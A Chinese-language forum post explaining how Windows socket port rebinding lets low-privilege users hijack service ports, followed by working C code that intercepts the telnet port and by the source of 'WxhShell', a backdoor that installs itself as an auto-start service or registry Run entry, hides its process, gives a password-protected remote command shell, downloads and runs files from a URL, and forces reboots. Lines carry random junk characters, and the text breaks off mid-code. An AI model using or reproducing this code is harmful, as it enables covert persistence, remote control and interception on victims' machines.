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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %"WENa/t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >wW{ $  
)eZK/>L&  
  saddr.sin_family = AF_INET; D$l!lRu8+L  
>@vu;j\*E5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4=Th<,<  
eHr0],  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w;'XqpP$*|  
,rMf;/[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uu6 JZp  
E'x"EN  
  这意味着什么?意味着可以进行如下的攻击: t^01@ejM+  
SBxpJsW >  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  2%@tnk|@  
'K7\[if{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6KddHyFz  
Qs1CK;+zU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HE&)N clY  
&%2^B[{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '+9<[]  
x Lan1V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sxT&T=7  
Bsa;,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aE~T!h  
/a\i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i-|N6J  
;@Zuet  
  #include S~/2Bw!2  
  #include ;EBKzB  
  #include Y(UK:LZ'  
  #include    G_+/ e]P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o;@~uU  
  int main() pS$9mzY  
  { T=PqA)Ym  
  WORD wVersionRequested; 7r;1 6"  
  DWORD ret; v]EMJm6d|  
  WSADATA wsaData; j|KDgI<0  
  BOOL val; (\ab%M   
  SOCKADDR_IN saddr; t4oD> =,92  
  SOCKADDR_IN scaddr; +jhzE%  
  int err; LK}g<!o(  
  SOCKET s; YE`Y t  
  SOCKET sc; SJ]6_4=y*  
  int caddsize; :i&]J$^;  
  HANDLE mt;  E0!d c  
  DWORD tid;   f#z:ILG=  
  wVersionRequested = MAKEWORD( 2, 2 ); Lg<h54X  
  err = WSAStartup( wVersionRequested, &wsaData ); rd7p$e=i  
  if ( err != 0 ) { S%- kN;  
  printf("error!WSAStartup failed!\n"); xX-r<:'tmi  
  return -1; N**)8(  
  } -J3~j kf  
  saddr.sin_family = AF_INET; \-yI dKj  
   *Z#OfB4}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,ayEZ#4.m  
r#OPW7mhE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Q=;I  
  saddr.sin_port = htons(23); q=pRe-{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) # >k|^*\  
  { =!t;e~^8]  
  printf("error!socket failed!\n"); ulxlh8=  
  return -1; JuSS(dJw  
  } p q`uB  
  val = TRUE; yx Om=V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ( unmf,y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Oa/zE H  
  { bL xZ 5C7t  
  printf("error!setsockopt failed!\n"); -gvfz&Lz  
  return -1; <<!fA ><W  
  } l Xa/5QKC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fJlNxdVr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b*Y Wd3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QdgJNT<=H,  
y@!M<#SEzG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U> lf-iI2B  
  { b$klm6nMvm  
  ret=GetLastError(); 9:p-F+  
  printf("error!bind failed!\n"); O2>c|=#  
  return -1; E[t0b5h  
  } Dy.i^`7\  
  listen(s,2);  U${W3Ra  
  while(1) %g@?.YxjT  
  { Wu 0:X*>}p  
  caddsize = sizeof(scaddr); bg Ux&3  
  //接受连接请求 }gQ2\6o2g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =dPokLXn  
  if(sc!=INVALID_SOCKET) +4-T_m/W/  
  { $6Q^u r:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @[lMh9`  
  if(mt==NULL) ,40OCd!  
  { Y5tyFi#w[  
  printf("Thread Creat Failed!\n"); e4` L8  
  break; :m<&Ff}  
  } 5;}W=x^$a  
  } / :F^*]  
  CloseHandle(mt); Wa|V~PL+T  
  } jae9!W i  
  closesocket(s); 5csh8i'V  
  WSACleanup(); Mm$\j*f/  
  return 0; _nqnO8^IG4  
  }   _94 W@dW  
  DWORD WINAPI ClientThread(LPVOID lpParam)  ;v.[aq  
  { 5(H%Ia  
  SOCKET ss = (SOCKET)lpParam; tQ{/9bN?P  
  SOCKET sc; tfU*U>j  
  unsigned char buf[4096]; bq E'9GI  
  SOCKADDR_IN saddr; O#U maNj/  
  long num; `sKyvPtG  
  DWORD val; gNEcE9y 2  
  DWORD ret; %C_tBNE <  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zkd{EMW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N_T5sZ\  
  saddr.sin_family = AF_INET; e\C-a4[C8P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  ?CAU+/  
  saddr.sin_port = htons(23); 'V7LL1K^>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |H t5a.  
  { 9InP2u\&:  
  printf("error!socket failed!\n"); _<c"/B  
  return -1; K[y")ooE<j  
  } 2{h2]F  
  val = 100; 6nk }k]Ji  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M)ET 1ZM  
  { $YX{gk>  
  ret = GetLastError(); R0=f`;  
  return -1; G^Gs/- f  
  } 2G~{x7/[@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @l CG)Ix<  
  { \< .BN;t{  
  ret = GetLastError(); YcA. Bn|as  
  return -1; ;JkIZ8!  
  }  NAD^10  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yF)J7a:U  
  { 9Rk(q4.OP  
  printf("error!socket connect failed!\n"); z[f]mU  
  closesocket(sc); CC=I|/mBM  
  closesocket(ss); X]y8-}Qf  
  return -1; -4x! #|]  
  } :=hL}(~]  
  while(1) 4+hNP'e  
  { fJ/INL   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B[ZQn]y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0HWSdf|w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G Uu8 N  
  num = recv(ss,buf,4096,0); QKP #wR  
  if(num>0) 9YI@c_1 Q  
  send(sc,buf,num,0); f$>_>E  
  else if(num==0) k\O<pG[U  
  break; ,&,%B|gT]  
  num = recv(sc,buf,4096,0); ""7H;I&  
  if(num>0) ]izHn;+  
  send(ss,buf,num,0); 7;p/S#P:  
  else if(num==0) zCJ"O9G<V  
  break; gqv+|:#  
  } >c0leT  
  closesocket(ss); uM$b/3%s  
  closesocket(sc); jP<6J(  
  return 0 ; 1?QVt fwY  
  } @2"uJ6o  
@rT$}O1?`  
(.$$U3\  
========================================================== ky|kg@n{  
cy@oAoBq  
下边附上一个代码,,WXhSHELL 0i}.l\  
Ly(iq  
========================================================== .*N,x(V  
=EVB?k ,  
#include "stdafx.h" %S^ke`MhF  
U>kaQ54/  
#include <stdio.h> tfHr'Qy BC  
#include <string.h> jy~hLEt7  
#include <windows.h> Wg%]  
#include <winsock2.h> "d-vs t5  
#include <winsvc.h> 2. nT k   
#include <urlmon.h> hD#Mhy5h  
gIweL{Pc  
#pragma comment (lib, "Ws2_32.lib") x(>XM:|  
#pragma comment (lib, "urlmon.lib") /QS Nv  
,8DC9yM,  
#define MAX_USER   100 // 最大客户端连接数 9+(6 /<  
#define BUF_SOCK   200 // sock buffer '\QJ{/JV  
#define KEY_BUFF   255 // 输入 buffer R[j'<gd.  
I.t)sf,  
#define REBOOT     0   // 重启 _H U>T  
#define SHUTDOWN   1   // 关机 UHV"<9tk  
4NRj>y  
#define DEF_PORT   5000 // 监听端口 UK'8cz9  
X%I@4 B7Ts  
#define REG_LEN     16   // 注册表键长度 qCVb-f  
#define SVC_LEN     80   // NT服务名长度 N\s-{7K  
S9*68l  
// 从dll定义API KKk<wya&O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  {y{O ze  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rLeQB p'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %*q^i}5)E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >8>s K(S]  
BSkmFd(*  
// wxhshell配置信息 Md9y:)P@Y  
struct WSCFG { .5SYN -@  
  int ws_port;         // 监听端口 $2]>{g  
  char ws_passstr[REG_LEN]; // 口令 ?w'03lr%  
  int ws_autoins;       // 安装标记, 1=yes 0=no &n?RKcH}d  
  char ws_regname[REG_LEN]; // 注册表键名 >BJBM |  
  char ws_svcname[REG_LEN]; // 服务名 7<:o4\q?m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #3>jgluM'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ',Z]w;D!G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U$@}!X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >C{8}Lg-.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?]*"S{Cqv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .LM|@OeaD!  
)`<&~>qp  
}; `"V}Wq ?I  
=^zGn+@z  
// default Wxhshell configuration _b)Ie`a.H  
struct WSCFG wscfg={DEF_PORT, |A|K);  
    "xuhuanlingzhe", DgRn^gL{Q  
    1, ]2&RN@  
    "Wxhshell", Nw ,|4S  
    "Wxhshell", QX a2qxTc  
            "WxhShell Service", ^\S~rW.3_  
    "Wrsky Windows CmdShell Service", S]}}r)  
    "Please Input Your Password: ", -:!Wds  
  1, .|P :n'  
  "http://www.wrsky.com/wxhshell.exe", J`; 9Z  
  "Wxhshell.exe" Te3 ?z  
    }; mU[  
Tqs|2at<t  
// 消息定义模块 +~==qLsU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Aj/EaIq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oFzmH!&ED  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;S&anC#E  
char *msg_ws_ext="\n\rExit."; g%)cyri  
char *msg_ws_end="\n\rQuit."; |rgPHRX^Hn  
char *msg_ws_boot="\n\rReboot..."; B<.ZW}#v  
char *msg_ws_poff="\n\rShutdown..."; AnE] kq u  
char *msg_ws_down="\n\rSave to "; 1<Uv4S  
j5smmtM`s  
char *msg_ws_err="\n\rErr!"; #N"QTD|i  
char *msg_ws_ok="\n\rOK!"; k5}Qx'/l  
fC}uIci  
char ExeFile[MAX_PATH]; 6@:<62!;  
int nUser = 0; V~-tp^  
HANDLE handles[MAX_USER]; E8lq2r=  
int OsIsNt; &- My[t  
7pyaHe  
SERVICE_STATUS       serviceStatus; +sq_fd ;'D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eT2Tg5Etc  
zG%'Cw)8  
// 函数声明 XrXW6s ;Z  
int Install(void); (b1e!gJpy  
int Uninstall(void); s=K?-O  
int DownloadFile(char *sURL, SOCKET wsh); I,Jb_)H&t  
int Boot(int flag); wq8&2(|Fc  
void HideProc(void); V1Gnr~GM  
int GetOsVer(void); Zx: h)I  
int Wxhshell(SOCKET wsl); "F Etl(  
void TalkWithClient(void *cs); YPKB4p#  
int CmdShell(SOCKET sock); X<v1ES$  
int StartFromService(void); G2sj<F=AV  
int StartWxhshell(LPSTR lpCmdLine); <<Z, 1{3F  
%z~kHL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?1LRR ;-x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _ib @<%  
NE Zu?g  
// 数据结构和表定义 {DUtdu[  
SERVICE_TABLE_ENTRY DispatchTable[] = N&$ ,uhmO  
{  BJg  
{wscfg.ws_svcname, NTServiceMain}, h$6~3^g:P  
{NULL, NULL} pWH,nn?w.  
}; <q I!Dj{  
t4hc X[  
// 自我安装 v}IhO~`uEq  
int Install(void) Qf'g2 \  
{ 43O5|8o  
  char svExeFile[MAX_PATH]; O{U j  
  HKEY key; Krl9O]H/[  
  strcpy(svExeFile,ExeFile); 3kwkU  
$Fy >N>,E(  
// 如果是win9x系统,修改注册表设为自启动 P>`|.@  
if(!OsIsNt) { 9E[==2TO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LPca+o|f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J`{  o`>  
  RegCloseKey(key); O,NVhU7,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S a}P |qI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uW!saT5o  
  RegCloseKey(key); v?%vB#A^  
  return 0; 3 4&xh1=3  
    } Ea-U+7JC  
  } 6)20%*[  
} C46jVl   
else { ,]Xn9 W  
lJT"aXt'M  
// 如果是NT以上系统,安装为系统服务 | :id/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IcGX~zWr  
if (schSCManager!=0) !aL=R)G&e  
{ wTG(U3{3K  
  SC_HANDLE schService = CreateService %hdjQIH  
  ( :)&vf<JL  
  schSCManager, hr hj4  
  wscfg.ws_svcname, p  UW7p  
  wscfg.ws_svcdisp, M* {5> !\  
  SERVICE_ALL_ACCESS, k_Y7<z0G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t`>Z#=cl\  
  SERVICE_AUTO_START, uv^x  
  SERVICE_ERROR_NORMAL, !+QfQghAT  
  svExeFile, 9jM7z/Ff  
  NULL, fc[_~I'  
  NULL, ZE~zs~z|  
  NULL, MX.?tN#F|H  
  NULL, }d;6.~Gw  
  NULL ;y50t$0  
  ); NSH4 @x  
  if (schService!=0) j]vEo~Bbh  
  { s{j A!T}  
  CloseServiceHandle(schService); 5Z6MQ`(k  
  CloseServiceHandle(schSCManager); (oG.A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _mwt{D2r}  
  strcat(svExeFile,wscfg.ws_svcname); N]6t)Zv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9\/oL{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5NH4C  
  RegCloseKey(key); n=AcN  
  return 0; U~;tk@  
    } bSz7?NAp  
  } ?(z"U b]  
  CloseServiceHandle(schSCManager); =9,^Tu|  
} aql8Or1[  
} N-Z=p)]  
"Aw)0a[j1  
return 1; !6@'H4cb=  
}  X)+6>\  
\iP@|ay9  
// 自我卸载 {<Gp5j  
int Uninstall(void) P".IW.^kk~  
{ 5,g +OY=\  
  HKEY key; )5gj0#|CG@  
$(]nl%<Q  
if(!OsIsNt) { SY%y*6[6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i1-%#YYF(  
  RegDeleteValue(key,wscfg.ws_regname); T?1V%!a;f  
  RegCloseKey(key); o[i N/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  0yq  
  RegDeleteValue(key,wscfg.ws_regname); +@?'dw  
  RegCloseKey(key); isQOt * i  
  return 0; a#;;0R $  
  } V[KN,o{6  
} y_=y%  
} K,,) FM  
else { 3}F>t{FDk  
a.}#nSYP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g=Vu'p 3u  
if (schSCManager!=0) x3+ {Y  
{ &ah%^Z4um  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $D#h, `  
  if (schService!=0) vc&+qI+I3  
  { a%`%("g!  
  if(DeleteService(schService)!=0) { 31alQ\TH  
  CloseServiceHandle(schService); o5NmNOXm  
  CloseServiceHandle(schSCManager); #S'uqP!  
  return 0; hr6j+p:  
  } Zr2!}jD9a  
  CloseServiceHandle(schService); 3Z=yCec]  
  } fs&$?mHL){  
  CloseServiceHandle(schSCManager); PQ[?zNrSV  
} jqc}mI\#  
} %HoD)OJe  
j9h fW'  
return 1; "8ellKh  
} aSX4~UYB=  
Vb\g49\o/  
// 从指定url下载文件 n+ebi>}P  
int DownloadFile(char *sURL, SOCKET wsh) _G/ R;N71  
{ [Tp?u8$p`  
  HRESULT hr; m1Ya  
char seps[]= "/"; #NYnZ^6e  
char *token; fI<LxU_n:  
char *file; XxS#~J?:_  
char myURL[MAX_PATH]; d 4;$=P  
char myFILE[MAX_PATH]; BoYY^ih  
0't)-Pj+,  
strcpy(myURL,sURL); `y.4FA4"8  
  token=strtok(myURL,seps); M?" 4 {  
  while(token!=NULL) _uMG?Sbx  
  { w a(Y[]V  
    file=token; 6dr 'nP  
  token=strtok(NULL,seps); if|5v^/  
  } )__sw  
-@"3`uv"  
GetCurrentDirectory(MAX_PATH,myFILE); 9d#?,:JG  
strcat(myFILE, "\\"); E4892B:`  
strcat(myFILE, file); %Tp k1  
  send(wsh,myFILE,strlen(myFILE),0); z@~H{glo  
send(wsh,"...",3,0); =+MF@ 4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C78g|n{  
  if(hr==S_OK) Y:TfD{Xgc  
return 0; Et N,  
else 63=&??4  
return 1; }={@_g#  
5 _E8 RAG  
} V4V`0I  
q=5aHH% |  
// 系统电源模块 t"GnmeH i  
int Boot(int flag) 2 {b/*w  
{ KMIe%2:b5  
  HANDLE hToken; e3SnC:OWf  
  TOKEN_PRIVILEGES tkp; }? / Blr  
w gS'/  
  if(OsIsNt) { oqF?9<Vgc,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -#f.}H'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {TNORbZz  
    tkp.PrivilegeCount = 1; cmXbkM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j;`Q82V\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u>lt}0  
if(flag==REBOOT) { I~n4}}9M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) md+pS"8o;  
  return 0; (1D1;J4g  
} +=E\sEe  
else { hO8xH +;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .yy*[56X  
  return 0; >JE+j=  
} Y`j$7!j  
  } r 1r@TG\  
  else { (7G4v  
if(flag==REBOOT) { u:pOP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b&[".ibN1  
  return 0; b=lJ`|  
} WBWW7HK  
else { vmAnBY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;9z|rWsF  
  return 0; _ZhQY,  
} LhLAQ2~  
} e1W9"&4>G{  
g0zzDv7~  
return 1; 5wVJ.B~s  
} gf8o~vKX$G  
>S:(BJMo  
// win9x进程隐藏模块 O ixqou  
void HideProc(void) N0w?c 5>  
{ F M6{%}4  
EF :g0$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =8 @DYz'  
  if ( hKernel != NULL ) 6ncwa<q5  
  { s*Qyd{"z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,VVA^'+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4O-LLH  
    FreeLibrary(hKernel); Ps@']]4>W  
  } Am*IC?@tq  
nIg 88*6b,  
return; ;iiCay37F  
} "YI,  
9o>D Uc  
// 获取操作系统版本 aH. "| *.  
int GetOsVer(void) gV.?Myy  
{ n{TWdC  
  OSVERSIONINFO winfo; PI*@.kqR-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Aeh #  
  GetVersionEx(&winfo); 4q]6[/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ![B|Nxq}@  
  return 1; d?X,od6  
  else [voZ=+/  
  return 0; Q$5 t~*$`  
} 23r(4  
m:)&:Y0 (a  
// 客户端句柄模块 n8Qv8  
int Wxhshell(SOCKET wsl) m,\+RUW'  
{ 2p, U ^h  
  SOCKET wsh; NC~?4F[  
  struct sockaddr_in client; gra6&&^"  
  DWORD myID; %@C8EFl%3  
-OJ<Lf+"=  
  while(nUser<MAX_USER) dGk"`/@  
{ Rr [_t FM  
  int nSize=sizeof(client); >niv >+!N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %/I:r7UR{  
  if(wsh==INVALID_SOCKET) return 1; :dW\Q&iW  
;7s^slVzF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zy7kPL;b  
if(handles[nUser]==0) mQ`atFz:Z  
  closesocket(wsh); )dfhy  
else @H`jDaB 9  
  nUser++; %"r9;^bj&<  
  } -crMO57/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O=bkq}  
goiI* " 6M  
  return 0; q`p0ul,n  
} 3T.V*&  
GAY?F  
// 关闭 socket nmiJ2edx  
void CloseIt(SOCKET wsh) Ydrh+  
{ 'sZGLgT;m  
closesocket(wsh); T`@brL  
nUser--; _}[WX[Le{  
ExitThread(0); *e [*  
} wA$?e}  
ykbfK$j z  
// 客户端请求句柄 bxYSZCo*  
void TalkWithClient(void *cs) CP\[9#]:  
{ :2xGfy??  
=b*GV6b  
  SOCKET wsh=(SOCKET)cs; kO}%Y?9d  
  char pwd[SVC_LEN]; ?J2A.x5` a  
  char cmd[KEY_BUFF]; F1BvDplQ>G  
char chr[1]; ]*zG*.C  
int i,j; ZhCd**  
K@e2%hk9x  
  while (nUser < MAX_USER) { k'%yvlv  
EXeV @kg  
if(wscfg.ws_passstr) { Xbmsq,*]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [?N,3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ju#j%!  
  //ZeroMemory(pwd,KEY_BUFF); ZFMO;'m&  
      i=0; |e!Y C iU  
  while(i<SVC_LEN) { %|+aI?  
@BLB.=  
  // 设置超时 \y271}'  
  fd_set FdRead; }=f\WWJf0  
  struct timeval TimeOut; }.D18bE(  
  FD_ZERO(&FdRead); fr`#s\JKw  
  FD_SET(wsh,&FdRead); #@-dT,t  
  TimeOut.tv_sec=8; <= _!8A  
  TimeOut.tv_usec=0; dpE^BWv3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,5<AV K-#Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = LIb0TZ2  
Q*Jb0f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8>j&) @q  
  pwd=chr[0]; f9UDH8X  
  if(chr[0]==0xd || chr[0]==0xa) { |8{ k,!P'K  
  pwd=0; A-B>VX  
  break; ]6^S: K_"  
  } tkm@&e=e%  
  i++; aC' 6  
    } 0J[B3JO@M  
S=S/]]e  
  // 如果是非法用户,关闭 socket eN5F@isy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e~*tQ4  
}   +fM8  
]O:u9If  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oR`rs[Kj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *ze/$vz-  
OR+_s @Yg  
while(1) { _~tF2`,Y_p  
\s)$AF  
  ZeroMemory(cmd,KEY_BUFF); HZ!<dy3  
+68age;dM  
      // 自动支持客户端 telnet标准   9G6ZKqum  
  j=0; /ho7~C+H*e  
  while(j<KEY_BUFF) { <i ]-.>&J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ g`|ob]9  
  cmd[j]=chr[0]; Iao?9,NL9O  
  if(chr[0]==0xa || chr[0]==0xd) { 1,zc8>M  
  cmd[j]=0; n|T$3j)  
  break; F@ |(  
  } 9 4bDJy1  
  j++; OXZK|C;M}  
    } F5H*z\/={  
E}%Pwr  
  // 下载文件 e\aW~zs 2  
  if(strstr(cmd,"http://")) { SJc*Rl>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gkTwGI+w  
  if(DownloadFile(cmd,wsh)) !Q_Kil.9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |;aZi?Ek[  
  else m@I}$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ldU ><xc2  
  } +3AX1o%p,#  
  else { .#sX|c=W  
/_expSPHl  
    switch(cmd[0]) { !jEV75  
  4/\Ynb.L  
  // 帮助 +7lr#AvU/  
  case '?': { @o}J)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j5n"LC+oz  
    break; %RwWyzm#\  
  } ]RadwH"0!  
  // 安装 1PWi~1q{Q  
  case 'i': { )B-[Q#*A-  
    if(Install()) sGiK S,.K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `z/ p,. u  
    else 6v}q @z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .bV^u  
    break; *>EV4Hl  
    } Xfb-< Q0A  
  // 卸载 e8_EB/)_Z  
  case 'r': { @kT@IQkri  
    if(Uninstall()) .A/xH x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~>WAm<  
    else G:|]w,^i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7FaF]G  
    break; XMI5j7C L  
    } DtS7)/<T  
  // 显示 wxhshell 所在路径 1B 0[dK2N  
  case 'p': { Jfv'M<I  
    char svExeFile[MAX_PATH]; V!@6Nv  
    strcpy(svExeFile,"\n\r"); _D+J3d(Pjk  
      strcat(svExeFile,ExeFile); ?caHS2%?ae  
        send(wsh,svExeFile,strlen(svExeFile),0); NVom6K  
    break; Y2ON!Rno  
    } gCL}Ba  
  // 重启 weGsjy(b]N  
  case 'b': { D^t: R?+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FKf2Q&2I  
    if(Boot(REBOOT)) X}QcXc.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BOdlz#&s  
    else { z -]ND  
    closesocket(wsh); Crla~h?=  
    ExitThread(0); [%Z{Mp'g  
    } x A*6Z)Y  
    break; Q!AGalP z  
    } v`qXb$YW  
  // 关机 ET*:iioP  
  case 'd': { r0\C2g_X  
